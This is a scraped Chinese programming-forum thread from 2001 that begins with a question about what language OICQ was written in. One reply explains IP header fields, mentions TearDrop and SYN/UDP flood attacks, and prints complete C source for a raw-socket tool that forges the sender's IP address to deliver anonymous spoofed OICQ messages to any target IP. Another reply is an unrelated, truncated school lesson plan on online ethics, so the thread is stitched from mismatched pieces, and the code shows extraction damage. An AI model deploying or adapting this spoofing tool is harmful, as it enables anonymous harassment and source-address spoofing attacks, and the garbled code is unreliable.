谁知道OICQ.....

fazhu 2001-03-11 08:50:00
谁知道OICQ是用什么语言写的?
...全文
161 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复
我们知道,TCP/IP网络数据全部是通过封装在IP数据包中在Internet网上传送的,也就是封装建立起一个包含IP头和数据的IP数据报。一般来说,网络软件总是以多个32位字产生IP头,即使必须用附加的0填充IP头。IP头包含了传输IP数据包中封装数据的所有必要信息。IP头的数据结构和描述如下: 成员 长度(Bit) 描述 Version 4 IP头的版本号,目前是IPv4,最新是IPv6 Header Length 4 IP头的长度,若没有特殊选择,IP头总是20字节长 Type of Service 8 服务类型,定义了数据传输的优先级、延迟、吞吐量和可靠性等特性 Total Packet Length 16 IP包的长度,若没有特殊选项,一般为20字节长 Identification 16 IP包标识,主机使用它唯一确定每个发送的数据报 Flag 3 IP数据分割标志 Fragment Offset 13 IP数据分割偏移 Time to Live 8 数据报在网络上的存活时间,每通过一个路由器,该数值减一 Protocol 8 TCP/IP协议类型,比如:ICMP为1,IGMP为2,TCP为6,UDP为17等 Header Checksum 16 头部检验和 Source IP Address 32 源IP地址 Destination IP Address 32 目的IP地址 Other ? 其他选项 Data ? 数据    实现自己定义的IP头是一件非常有意义的事情,比如,通过改变IP头里的TOS的优先级和TTL,你可以使自己的数据包有更强的传输能力和寿命,通过修改IP头里的源IP地址就可以隐藏自己机器的IP地址等等。象著名攻击程序“泪滴TearDrop”就是通过故意制造系统不能处理的分片IP包而实现的,还有SYN Flooder和UDP Flooder就是通过产生随机源IP实现欺骗的。 三、实现原理    一般来说,自定义IP头是通过使用socket的库函数setsockopt()的选项IP_HDRINCL来实现的,尽管这在unix和linux平台上很容易实现,但遗憾的是在Windows平台的Winsock1.1和Winsock2.0函数库里setsockopt()不支持IP_HDRINCL选项,所以在Windows 9x/NT里是无法通过Winsock函数库来实现IP头自定义的,当然可以通过编写虚拟设备驱动程序来实现,不过比较复杂,但Windows 2000的出现打破了这种局面,Windows2000的Winsock2.2函数库里全面支持setsockopt()的选项IP_HDRINCL,使得我们轻松就可以实现自定义的IP头。实现方法如下: SOCKET s; BOOL bopt; s=WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED); ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)bopt, sizeof(bopt); 四、实例   为帮助大家尽快地学会构造自己的IP头数据,特给出一个完整的实例,例子的功能是:只要给出对方的IP地址,就可以发送给对方的OICQ一个“hello!”消息,并且由于修改了发送数据包的IP头,完全实现了发送方IP地址的隐藏,也就是说稍加修改你就可以制作出一个能够完完全全的匿名OICQ发送器,当然,若是故意捣乱的话,后果自负。源代码如下: /***********************************************************************/ /* OicqSend.c                                            */ /* 本程序用Visual C++ 6.0编译在Windows 2000 Advanced Server 上调试通过 */ /* Created by janker@371.net 2000.8.28                         */ /* 声明:本程序经修改后可能会产生攻击性擅自修改成攻击程序者后果自负  */ /***********************************************************************/ #pragma pack(1) #define WIN32_LEAN_AND_MEAN #include #include #include #include #include #define OICQ_MAX_PACKET 1024 #define OICQ_MAX_MSG 512 #define OICQ_MSG_LEN 45 #define SRC_IP "127.0.0.1" #define SRC_PORT 5277 #define DST_PORT 4000 typedef struct ip_hdr { unsigned char ip_verlen; unsigned char ip_tos; unsigned short ip_totallength; unsigned short ip_id; unsigned short ip_offset; unsigned char ip_ttl; unsigned char ip_protocol; unsigned short ip_checksum; unsigned int ip_srcaddr; unsigned int ip_destaddr; } IP_HDR; typedef struct udp_hdr { unsigned short src_portno; unsigned short dst_portno; unsigned short udp_length; unsigned short udp_checksum; } UDP_HDR; char strMessage[OICQ_MSG_LEN] = { 0x02,0x01,0x07,0x00,0x78,0x00,0x00,0x31,0x30,0x30,0x30,0x31,0x1f,0x30,0x1f, 0x30,0x30,0x1f,0x32,0x30,0x30,0x30,0x2d,0x30,0x31,0x2d,0x30,0x31,0x1f,0x30, 0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x1f,0x68,0x65,0x6c,0x6c,0x6f,0x21,0x03 }; USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while (size > 1) { cksum += *buffer++; size -= sizeof(USHORT); } if (size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } int main(int argc, char **argv) { WSADATA wsd; SOCKET s; BOOL bOpt; struct sockaddr_in remote; IP_HDR ipHdr; UDP_HDR udpHdr; int ret; DWORD i; unsigned short iTotalSize, iUdpSize, iUdpChecksumSize, iIPVersion, iIPSize, cksum = 0; char buf[OICQ_MAX_PACKET], *ptr = NULL; printf("Spoof OICQ Msg Sender - by Janker@371.net\n\n"); if(argc!=2) { printf("usage: OICQSEND Destination_IP_Address"); ExitProcess(1); } srand((unsigned)time(NULL)); strMessage[5]=rand(); if (WSAStartup(MAKEWORD(2,2), &wsd;) != 0) { printf("WSAStartup() failed: %d\n", GetLastError()); return -1; } s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0,0); if (s == INVALID_SOCKET) { printf("WSASocket() failed: %d\n", WSAGetLastError()); return -1; } bOpt = TRUE; ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt;, sizeof(bOpt)); if (ret == SOCKET_ERROR) { printf("setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError()); return -1; } iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + OICQ_MSG_LEN; iIPVersion = 4; iIPSize = sizeof(ipHdr) / sizeof(unsigned long); ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize; ipHdr.ip_tos = 0; ipHdr.ip_totallength = htons(iTotalSize); ipHdr.ip_id = 0; ipHdr.ip_offset = 0; ipHdr.ip_ttl = 128; ipHdr.ip_protocol = 0x11; ipHdr.ip_checksum = 0 ; ipHdr.ip_srcaddr = inet_addr(SRC_IP); ipHdr.ip_destaddr = inet_addr(argv[1]); iUdpSize = sizeof(udpHdr) + OICQ_MSG_LEN; udpHdr.src_portno = htons(SRC_PORT) ; udpHdr.dst_portno = htons(DST_PORT) ; udpHdr.udp_length = htons(iUdpSize) ; udpHdr.udp_checksum = 0 ; iUdpChecksumSize = 0; ptr = buf; ZeroMemory(buf, OICQ_MAX_PACKET); memcpy(ptr, &ipHdr;.ip_srcaddr, sizeof(ipHdr.ip_srcaddr)); ptr += sizeof(ipHdr.ip_srcaddr); iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr); memcpy(ptr, &ipHdr;.ip_destaddr, sizeof(ipHdr.ip_destaddr)); ptr += sizeof(ipHdr.ip_destaddr); iUdpChecksumSize += sizeof(ipHdr.ip_destaddr); ptr++; iUdpChecksumSize += 1; memcpy(ptr, &ipHdr;.ip_protocol, sizeof(ipHdr.ip_protocol)); ptr += sizeof(ipHdr.ip_protocol); iUdpChecksumSize += sizeof(ipHdr.ip_protocol); memcpy(ptr, &udpHdr;.udp_length, sizeof(udpHdr.udp_length)); ptr += sizeof(udpHdr.udp_length); iUdpChecksumSize += sizeof(udpHdr.udp_length); memcpy(ptr, &udpHdr;, sizeof(udpHdr)); ptr += sizeof(udpHdr); iUdpChecksumSize += sizeof(udpHdr); for(i = 0; i *ptr = strMessage[i]; iUdpChecksumSize += OICQ_MSG_LEN; cksum = checksum((USHORT *)buf, iUdpChecksumSize); udpHdr.udp_checksum = cksum; ZeroMemory(buf, OICQ_MAX_PACKET); ptr = buf; memcpy(ptr, &ipHdr;, sizeof(ipHdr)); ptr += sizeof(ipHdr); memcpy(ptr, &udpHdr;, sizeof(udpHdr)); ptr += sizeof(udpHdr); memcpy(ptr, strMessage, OICQ_MSG_LEN); remote.sin_family = AF_INET; remote.sin_port = htons(DST_PORT); remote.sin_addr.s_addr = inet_addr(argv[1]); ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote;, sizeof(remote)); if (ret == SOCKET_ERROR) printf("sendto() failed: %d\n", WSAGetLastError()); else printf("Send O.K.!"); closesocket(s) ; WSACleanup() ; return 0; }
《网络道德与网络安全》教学设计 密山市实验中学 杨炜光 一、教学目标 1、知识与技能: (1)树立良好的信息意识和信息道德 (2)学会远离和抵制不良信息的干扰和防范计算机病毒. (3)加深对网络道德规范的认识。 (4)熟悉网络安全防护措施; (5)培养学生自主学习的能力; 2、过程与方法: (1)通过网络文明公约,让学生养成良好使用网络的习惯,尽可能克服因迷恋网络游戏 而无节制上网,更甚者会逃学、夜宿不归而出现的这些现象,让学生建立必要的网络道 德规范,学会提高自我保护意识和能力。 (2)通过学生学习书中有关网络安全防护措施和自我保护的资料及视频,从而懂得如何 正确地使用网络; (3)培养学生接收和处理信息的能力,并学会对他人做出正确的评价。 3、情感与价值观:(1)正确、合法地使用信息技术;(2)维护自己和他人的知识产权 。 二、教学设想 本节内容比较抽象,理论性比较强,不能用传统教学讲,容易让学生觉得枯燥乏味, 采用新课程标准,可以通过视频和资料分析,让学生采用讨论法、分组法,并在练习中得 到提高,让学生分组讨论总结,老师做最后的点评人. 三、教 《网络安全与道德》是黑龙江教育出版社出版的《信息技术》六年级下册,第2单元第8节 的教学内容。 通过《全国青少年网络文明公约》的学习,指明信息技术的最终目的是为学生的学习、 生活和以后参加工作而服务的,所以要培养学生要良好的信息素养,和正确使用网络的 技能,遵守网络规范和网络道德,做一个信息时代的合格中学生. 四、重点、难点 1、教学重点 (1)理解相关网络规范和网络道德的问题。 (2)培养良好的信息意识和信息道德。 (3)提高和强化自我保护的意识和能力。 2、教学难点 (1)学会远离和抵制不良信息的影响; (2)学会保护自己和他人的信息安全。 五、教学方法 分组合作、练习启发、讲解与讨论相结合. 六、教具准备 电脑室、多媒体网络教学系统、课件、视频和练习材料 七、教学过程 "教师活动 "学生活动 "设计意图 " "通过视频"法制动画《陨落》"的播放, "浏览课本,学习视频"熟悉课本,了" "导入网络安全,导入网络道德,展开""内容,了解本节要学 "解课程内容," "做信息时代的合格中学生"的主题。 "习的内容.并置下悬 "也为下面的授" "师提问:片中的中学生犯了什么样的 "念。 "课作好铺垫. " "错?为什么会犯这样的错? " " " "二、讲授新课 " " " "(一)自觉遵守网络道德 " " " "网络的积极影响及带来的问题。 " " " "教师:应该肯定网络给我们带来的各 " " " "种正面的、重要的影响.但是,引出本" " " "节课课题:网络也带给我们带来了很 " " " "多的不良的影响。所以就有了这样一 " "从学生感兴趣" "个《全国青少年网络文明公约》,大家 " "的问题入手," "知道它的具体内容有哪些吗? " "结合学生的实" " (学生举手回答) " "际生活,让学" "(1)调查1:有多少同学是去过网吧的" "生意识观察家" "?一般多久才去一次?去一次要呆多 " "培养网络道德" "久才出来?在上网吧消费上花了多少 " "和注意使用网" "钱?在网上都玩些什么?有没有被别 "让学生学会利用所学"络安全的重要" "人欺骗或欺骗别人的经历? "知识分析问题,积极"性。 " " "回答问题,发表自己 " " "(2)调查2:在家里有电脑上网的同 "的意见。 " " "学有多少?在家一般多久才上一次网?" " " "在家上网一般学习的有多少?你觉得 " " " "上网次数多了会影响你的学习吗?对你" " " "的学习有帮助吗? " " " "(3)播放"绝望的生鱼片"的动画视频" "比较直观地从" ",让学生用《全国青少年网络文明公约》"观看视频,分析问题 "视频中让学生" "对教师提问进行分析。 " "了解到《全国 " "师提问:片中的中学生犯了公约里的 " "青少年网络文" "哪条?为什么会犯错?应该如何改正 " "明公约》的内 " "? " "涵. " " " " " "2、自觉遵守相关法律法规,尊重他人" " " "的知识产权。(师对课文内容讲解) " " " " " " " "3、加强自我约束,自觉遵守网络规则" " " "和礼仪. " " " "讨论: " " " "一、网络聊天是当前中学生上网最喜 " " " "欢做的一件事,下面的这些做法你认 " " " "为哪些是正确的? "利用所学知识,回答" " "A、利用OICQ和同学老师交流学习和生"问题并讨论总结。 " " "活的心得 " " " "B、受网友的邀请,单独和网友见面 " " " "C、在线网友之间通过QQ来传送文件 " " " "D、在聊QQ的时候,网友大多是同班同 " "

28,391

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧